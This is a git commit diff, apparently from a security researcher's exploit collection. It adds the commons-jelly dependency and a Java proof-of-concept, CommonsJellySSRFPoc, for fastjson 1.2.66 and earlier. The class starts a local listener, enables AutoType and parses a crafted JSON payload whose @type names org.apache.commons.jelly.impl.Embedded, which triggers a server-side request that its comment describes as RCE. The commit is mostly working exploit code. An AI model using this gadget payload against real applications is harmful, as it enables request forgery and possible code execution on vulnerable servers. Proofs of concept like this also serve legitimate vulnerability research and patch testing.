feat:添加fastjson SSRF gadget - commons-jelly

Author: “threedr3am”

fastjson/pom.xml

@@ -99,5 +99,11 @@
       <artifactId>cocoon-slide</artifactId>
       <version>2.1.11</version>
     </dependency>
+
+    <dependency>
+      <groupId>commons-jelly</groupId>
+      <artifactId>commons-jelly</artifactId>
+      <version>1.0.1</version>
+    </dependency>
   </dependencies>
 </project>

fastjson/src/main/java/com/threedr3am/bug/fastjson/CommonsJellySSRFPoc.java

@@ -0,0 +1,35 @@
+package com.threedr3am.bug.fastjson;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.parser.ParserConfig;
+import com.threedr3am.bug.common.server.HTTPServer;
+
+/**
+ * fastjson <= 1.2.66 RCE，需要开启AutoType
+ *
+ *
+ * <dependency>
+ *       <groupId>commons-jelly</groupId>
+ *       <artifactId>commons-jelly</artifactId>
+ *       <version>1.0.1</version>
+ * </dependency>
+ *
+ * @author threedr3am
+ */
+public class CommonsJellySSRFPoc {
+
+  static {
+    HTTPServer.PORT = 23234;
+    HTTPServer.run(null);
+  }
+
+  public static void main(String[] args) {
+    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
+    String payload = "{\"@type\":\"org.apache.commons.jelly.impl.Embedded\",\"script\": \"http://127.0.0.1:23234?aaaa=111&bb=242\"}";
+    try {
+      JSON.parse(payload);
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+  }
+}